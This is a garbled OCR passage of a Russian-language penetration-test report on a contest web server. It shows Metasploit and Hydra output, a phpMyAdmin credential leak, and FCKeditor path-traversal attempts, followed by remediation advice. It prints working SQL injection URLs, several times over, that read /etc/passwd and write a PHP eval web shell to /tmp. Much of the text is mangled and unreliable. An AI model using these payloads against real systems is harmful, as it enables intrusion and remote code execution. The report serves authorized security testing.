Name Current Setting Required Description

APP Jphpmyadmin yes Location for phpMyAdmin URL

DB hddaccess yes Database to use/create

DROP true yes Drop database after reading file?
FILE Jetc/passwd yes File to read

PASS gthjkm no Password

Proxies no Use a proxy chain

RHOST 188.127.228.14 yes The target address

RPORT 80 yes The target port

TBL files yes Table to usefcreate and read the file to .
USER root yes Username

VHOST no HTTP server virtual host

msf auxiliary(

Puc. 16. Hactpotika phpmyadmin_XXE_inj
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* Armitage
Armitage Wiew Hosts Attacks Workspaces Help
¥ (& exploit

¥ E Linix
¥ (& webapp

B phpmyadmin XXE_inj

| phpmyadmin_config

phprmy

-

Console X

msf auxiliary( ) = exploit
[*] Received 200 from 188.127.228.14:80
[*] Login at 188.127.228.14:80/phpmyadmin using root:gfhjkm
[*] Grabbing that fetc/passwd you want...
===Database hddaccess

| file|varchar(20000) | No|

| file|varchar(20000) | No|

[*] Dropping database: hddaccess
[*] Auxiliary module execution completed
msf auxiliary( ) = exploit

Puc. 17 [Ipumenenne phpmyadmin XXE inj

18



8. MpoponKeHue nccneaoBaHni

[Ipyu nmanbHE#IIeM MOUCKE AIKCIUIONTOB phpmyadmin ObUIM HaWIEHBI eIlle
HECKOJILKO IMTyOIMYHBIX SKCIUIONTOB (HO He /1t MST):

http://www.exploit-db.com/exploits/17510/ - He momolena BBHIY TOrO, YTO
JUIsL €ro paboThl ObUIO HEOOXOMMMO HAJM4YWEe Manku config, KoTopass B JaHHOM
Bepcur phpmyadmin He co3maBanach.

http://www.xxor.se/uploads/phpmyadmin_preg_replace rce_poc.php -
OCHOBAaH Ha MCIOJb30BaHUM YSI3BUMOCTH B ¢-uu preg replace (moacTtaHoBKa ONIUU
/e u Hynb-0aliTa), HO OH Takxe He monomen (puc. 18), BeposaTHO, BBy TOTO, YTO HA
cepBepe, Kak OBUIO paHee YCTAHOBIICHO, HCHoOJb30Banack Bepcus PHP/5.3.3-
7+squeezel4, B KOTOpo# OblIa yCTpaHEHA YS3BUMOCTh C BHEJIPEHUEM HYJb-OaiTa.

Wl ECHELON: Articles : Tut » i@l 404 Not Found [9127.0.0.1/1.php

@ € |0127.001100 | A

phpMyaAdmin < 3.4.3.1
i rability T

ralne

Will only confirm if the instance is exploitable or not.
Use responsibly.

URL: |nttp://contest.npo-echelon Example: http:/localhost:8080/wwwi/root/phpMyAdmin-3.3.9.2
User:|root
Pass:|gthjkm

- eval php-code

@ shell command
Command: |echo testing123;

3D; phpMyAdmin=5mgdérdtkanrinl0rddm0jgc8gldllivl; pmaUs

6323212ef71367%cc0 d

I to poison some
rver to execute command.

[!] Code execution failed. This instance of phpMyAdmin does not apear to be vulnerable.

R ]
Puc. 18. ITonwiTka ucnons3oBanus phpmyadmin_preg_replace _poc

http://www.xxor.se/uploads/phpmyadmin_swekey rci_exploit.php - =He
MOJIONIENT BBUAY TOTO, YTO €My HEOOXOAMM JOCTYyI K Tarke setup, KOTOphId Ha
naHHoM xoctuHre Obul 3akpeiT HEAD-aytuduxanueit. bbuta ocyiiecTBieHa
HOMBITKA TT0A00pa Maposist K Mmarke setup mo ciioBapro npu momoinu hydra (puc. 19),
HO CJIOBapHas araka He MpHHecsa pe3yibrara. Tak jke Obljaa MOMNbITKAa MOa00paTh
napoiib K SSH, HO OHa Tak e He MpUHEeca pe3y/brara.
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http://www.xxor.se/uploads/phpmyadmin_preg_replace_rce_poc.php

| ~ v x root@bt: ~

File Edit View Terminal Tabs Help
root@bt: ~ # | root@bt: ~ ®

, to prevent overw
iting, vy e abor
[DATA] 6 s, 7656 (L:1/p:1707656), ~26682 tries per task
[DATA] att e
VERBO
e timeout], process exiting
r child 54
timeout], process exiting
r child 41
imeout], process exiting
r child 20
t [timeout], process exiting
for child 18
2 3 C t [timeout], process exiting
VERBOSE] g ( for child 28
ERROR] Se did not

<

Puc. 19. ITogbop naposns k nanke /phpmyadmin/setup/

[Ipu mpocMOTpe aAMHUHHCTPATOPCKOTO pasfesia caiTa, ObLIIO 3aMEUEHO, YTO
Ha caiite ucnonbzyercs FCKeditor. On pacnonarancs mo aapecy http://contest.npo-
echelon.ru/admin/admin/fckeditor/. Tlpu mnpocmorpe daiina http://contest.npo-
echelon.ru/admin/admin/fckeditor/_whatsnew.html cranma wu3BecTHa Bepcus —
FCKeditor 2.6.4.1. bpura mnpeanpuHsATa TONBITKA OKCIUTyaTallMd YS3BHUMOCTH,
NO3BOJISIIOLLEH 3arpyKaTh IPOU3BOJIbHBIE (DAiiibl HAa cepBep Yepes

http://contest.npo-echelon.ru/admin/admin/fckeditor/editor/filemanager/connectors/test.html
(puc. 20), HO OBLIO TOJYYEHO COOOIICHHE O TOM, YTO HET JOCTYIa K JUPEKTOPUHU
Ivar/www/uploads/file/. Jlannoe cooOuieHHe SBISETCS YSI3BUMOCTBIO ‘‘PaCKPBITHE
nytu”. Ilpu mnpoBepke aapeca http://contest.npo-echelon.ru/uploads/file/ 6sL10
MOJTY9E€HO COOOIIIEHNE O TOM, YTO TaKasl TUPEKTOpHs He cymecTByeT. Ho mpu pyaroM
nogdope  BBUICHHIOCH, uTo  http://contest.npo-echelon.ru/admin/uploads/file/
cymectByeT. CkauaB ucxomnbie koasl FCKeditor u u3yunB ux, ObUIO BBISICHEHO, YTO
BEPOSITHO aJIMHHHACTPATOPaMHU OBLI HEBEPHO CKOH(HUTYpUPOBaH
fckeditor/editor/filemanager/connectors/php/config.php u emy B KauecTBe
$Config['UserFilesPath'] 6puta ykazana HecymiecTByrOIIass Ha caiTe AUPEKTOPHS
/uploads/, Bmecto /admin/uploads/. Ilpu momnbITKE OOOWTH 3TO OrpaHHUYCHHE,
nozacraBuB B mose Current Folder “../../admin/”, ckpunt BbiBen omuoOky 102 (puc.
11). IIpocmoTpeB ucxomubie koapl commands.php, connector.php, upload.php, io.php
OBLJIO BBISBICHO, YTO JTa OIMMOKAa BO3HUKACT TPH (QUIBTpAMN TEePEMEHHON
CurrentFolder B xotopoii He IOMyCKalOTCS CHUMBOJBI ../. VI3y4HB HCXOIHBIC KOJBI
6omee moapoOHO, HE OBUTIO OOHAPYKEHO crIoco0a 00OUTH JaHHYIO (DUITBTPAIIHIO.
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FCKeditor - Connectors Tests - Mozilla Firefox

@ . S |. contest.npo-echelon.ru/admin/admin/fckeditorfeditor/filemar . v @|

qvpna| €y = v

By BackTrack Linux [jjOffensive Security [E]Exploit-DB Wy Aircrack-ng Jg§ SomaFM

Connector:  Current Folder Resource Type =
[PHP v I | |[File v

Get Get Folders and Create File Upload

Folders Files Folder |/media/entfs/contest.npo-ef| Browse...

Upload

URL: php/connector.php? Command=FileUpload&Type=File&CurrentFolder=%2F

o O F‘Cﬁnsnle HTML €SS Script DOM | Net~ (P (=5[]

o MNet panel activated. Any requests while the net panel is inactive are not shown.

= POST connect 200 OK contest.npo-echelon.ru 2728 | | 248ms
Params Headers Post Response HTML

<script type="text/javascript"=
(function(){var d=document.domain;while (true){try{var A=window.parent.document.domain;break;}catchie
) {}:;d=d.replacel/.#?(7:\.|$)/,"'");1f (d.length==0) break;try{document.domain=d;}catch (e){break;}}}
1) ;window.parent.OnUploadCompletedil,"","", "Error creating folder \"/var/www/uploads/file/\" (mkdir
(): Permission denied)") ;=/script=

1 request 272 B 248ms

Puc. 20. IomeiTka 3arpy3uth Ha cepBep (daiin (gif-pucyHok)

é S |. contest.npo-echelon.rufadmin/admin/fckeditorfeditorffilernar ;v E|

qvphQ| €y = v

By BackTrack Linux [fjOffensive Security EJExploit-DB Yy Aircrack-ng JgSomaFM

Connector:  Current Folder Resource Type -
| PHP v| [.//admin/ | |[File v|
e et |
Get Get Folders and Create File Upload
Folders Files Folder |/mediafentfs/contest.npo-ed| Browse...

Upload

URL: BhB_!connector.php?Command:F]']eUpload&"[‘ype:F]']e&
CurrentFo o =..%2F..%2Fadmin%2F v

A O I — F‘Cﬂnsnle HTML €SS Script DOM | Netv (P (==

o Met panel activated. Any requests while the net panel is inactive are not shown.

POST connect 200 OK contest.npo-echelon.ru 2728 [ L 248
= POST connect 200 OK contest.npo-echelon.ru 2238 [ 50T
Params Headers Post Response HTML

<script type="text/javascript"=

( function(){var d=document.domain;while (true){try{var A=window.parent.document.domain;break;}catchi

) {};d=d.replacels.*¥?(?:\. %)/, "' );if (d.length==0) break;try{document.domain=d;}catch (e){break;}}

) ) ;window.parent .OnUploadCompleted(102,"","", "") :</script=
L]

Puc. 21. IonkiTka o6o¥iTH hunpTparmro nepemernoit CurrentFolder



Jlanee ObLTH HCCIEIOBaHBI BOBMOXXHOCTH UTEHMsI/3anicH B (hailiibl mpu
nomorim pyrkiuid MySQL «load_file» u «into outfilex». [TonbiTka uyTeHus daiina
/etc/passwd 3akoH4mIIaCh yCITENTHO U 110 3arpocy http://contest.npo-
echelon.ru/admin/authors.php?id=-

1%27+and+1=1+UNION%20SELECT+1,load_file%28%22/etc/passwd%22%29,3.4
,2,6,7+-- oH ObLI BIBeICH (pHC. 22)

Takoke yaaBaaoCh BRIBECTH M HEKOTOPBIC Apyrue Gaiiibl, J0CTYI K KOTOPBHIM
OBLT OTKPBIT JJIs1 BCEX IOJIb30BaTelel, Harpumep /etc/services.

[Tocne moyueHus crcka nojib3oBateneit u3 daiina /etc/passwd Obuia
TIOTBITKA aTaky 1o ciioBapro SSH-mocTyna k cepsepy npu momoru hydra ¢
MICIIOJIb30BaHUEM JIOTHHA 00t. Ho maHHas ataka He mpuHecsa pe3yibrara.

ITombITKa MPOU3BECTH 3aITUCh B (hailyl BO BpeMEHHO# Marke okas3ajiach
YCIICIIHOM M CIIEAYIONIHI 3ampoc co3nan daiin /tmp/l.php:

http://contest.npo-echelon.ru/admin/authors.php?id=-
1%27+and+1=1+UNION%20SELECT+1,%27%3C?php%20eval%28$ GET[%E2%
80%98e%E2%80%991%29%207%3E%27,3,4,5,6,7+INTO+OUTFILE+%22/tmp/1.p

hp%22+--

[TompITKM TTpoM3BeCcTH 3anuch B /var/www/ , /var/www/admin/uploads/ ,
Ivar/www/admin/uploads/ He yBeHuanuch ycrnexom, 3To TOBOPHUT O ToM, uto MySQL
HE UMEET IpaBa 3alucu B 3TU AUpeKkTopuu. [IpocMotp ¢aiinoB B [upeKTOpun cainta
¢ nmomomnrsro load_file Takke okazaics HEBO3MOKEH.

Home | [ News ]| [ Articles/Tutorials | [ Videos | [ Downloads ]

-::DESCRIPTION

4:backup:/var 2
Mailing List

[bin/sh
orting System
h

g
[ bin/ fal w:1 MyS0QL
Server,,: [var/lib/mysql: /bin/ false

Puc. 22. BeiBonx (haiina /etc/passwd npu momoru load_file
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http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,load_file%28%22/etc/passwd%22%29,3,4,5,6,7+--
http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,load_file%28%22/etc/passwd%22%29,3,4,5,6,7+--
http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,load_file%28%22/etc/passwd%22%29,3,4,5,6,7+--
http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,load_file%28%22/etc/passwd%22%29,3,4,5,6,7+--
http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,%27%3C?php%20eval%28$_GET%5b%E2%80%98e%E2%80%99%5d%29%20?%3E%27,3,4,5,6,7+INTO+OUTFILE+%22/tmp/1.php%22+--
http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,%27%3C?php%20eval%28$_GET%5b%E2%80%98e%E2%80%99%5d%29%20?%3E%27,3,4,5,6,7+INTO+OUTFILE+%22/tmp/1.php%22+--
http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,%27%3C?php%20eval%28$_GET%5b%E2%80%98e%E2%80%99%5d%29%20?%3E%27,3,4,5,6,7+INTO+OUTFILE+%22/tmp/1.php%22+--
http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,%27%3C?php%20eval%28$_GET%5b%E2%80%98e%E2%80%99%5d%29%20?%3E%27,3,4,5,6,7+INTO+OUTFILE+%22/tmp/1.php%22+--

9. NopBeaeHne UTOrOB, PEKOMEHAALUU ANA YCTPAHEHUA BbIABIEHHDbIX
YA3BUMOCTEM

B X04€ MPOBCACHUA aHaJIM3a 3alllUIIICHHOCTU ObLIN HaﬁILCHLI " OnpCaCJICHbI CICAYIOIHNEC

HMCIOIUCCA IPpOTrpaMMbl U BCG-HpI/IJIO)KeHI/I}II

e OS Debian 6;

e apache 2.2.16;

e OpenSSH 5.5p;

e PHP/5.3.3-7+squeezel4;

e MySQL 5.1.63-0+squeezel;

e phpmyadmin 3.3.7;

e FCKeditor 2.6.4.1.

OOHapyXeHBI CIICAYIOIINE YI3BUMOCTH M HEJJOCTATKA KOH(PUTYpaIUU:
¢ MOTCHIMAJILHAS BO3MOXHOCTB TTpoBeeHusi D0S-araku Ha BeO-cepBep;
¢ SQLi-ys3BuMOCTB;
o XSS-ys3BUMOCTH;
packpbiTHE yTH Tipu ucnonb3oBanuu FCKeditor;
ciabple apoy;
XpaHEHUE mapoJjiell B OTKPHITOM BUJIC;
HeOe3onacHeie npuBmierun s MySQL (daiinossriii qoctyn);
MHOXKECTBEHHBIC ysi3BUMOCTH B phpmyadmin.

Jlyig ycTpaHeHMsl TaHHBIX YS3BUMOCTEN HEOOXOAUMO:

® OOHOBUTH BCE MPOrpaMMHOE oOecIieueHne JI0 MOCISTHUX BepcHii (B ocodeHHOCTH apache u
phpmyadmin);

e [ToBbIcHTH CiTOkHOCTB Taponeit k MySQL,;

e pa3zpaboTaTh HOBBIM aJNTOPUTM C MPUMEHEHHEM IHU(POBaHUS Mapojied aJIMUHUCTPATOPOB
pecypca;

o st ycrpanenuss SQLI mpoBoauTh (GUIBTpALMIO BCEX, MOCTYMAOIIUX OT MOJIb30BATEIS
JaHHBIX,

e Ui ycTpaHeHHs XSS mpoBOmUTH (PUIBTpaIMIO BCEX, MOCTYMAIONIMX OT IMOJIb30BATEIS
JTAHHBIX W/WIU BceW WH(OOpMAINK, BBIBOISIICHCS HA CTpaHMIBI M Oepyieics u3 0asbl
JaHHBIX,

o ckoHpuTryprpoBath MySQL takum 00pa3zom, 9To ObI € IMOJIB30BATEIM UMENId MUHHUMAJIIEHO
HEOOXOAMMBIE PUBUIICTHU ISl paOOTHI;

e ynanauTh Heucnonb3yembie moaynu FCKeditor (momHocThIO Tamky «connectors» WM ke
WCTIPAaBUTh MMEIOUINECS B €r0 KOAAaX YSI3BUMOCTH) M OTPAHWYHUTH K HEW JOCTYI MPOCTHIM
I0JIb30BaTeNsIM (HE a]MUHUCTPATOPaM).

e yauTh Karajor /phpmyadmin/setup/

® U3MCHUTH Ha3zBaHue phpmyadmin-karanora Ha Oosee CIOKHBIN I TOA00Pa;

® OTPaHMYHMTh KOJMYECTBO HEBEPHBIX BBOJOB Maposiedl mpu SSh Bxome (Hampumep, mpu
nomoinu fail2ban).
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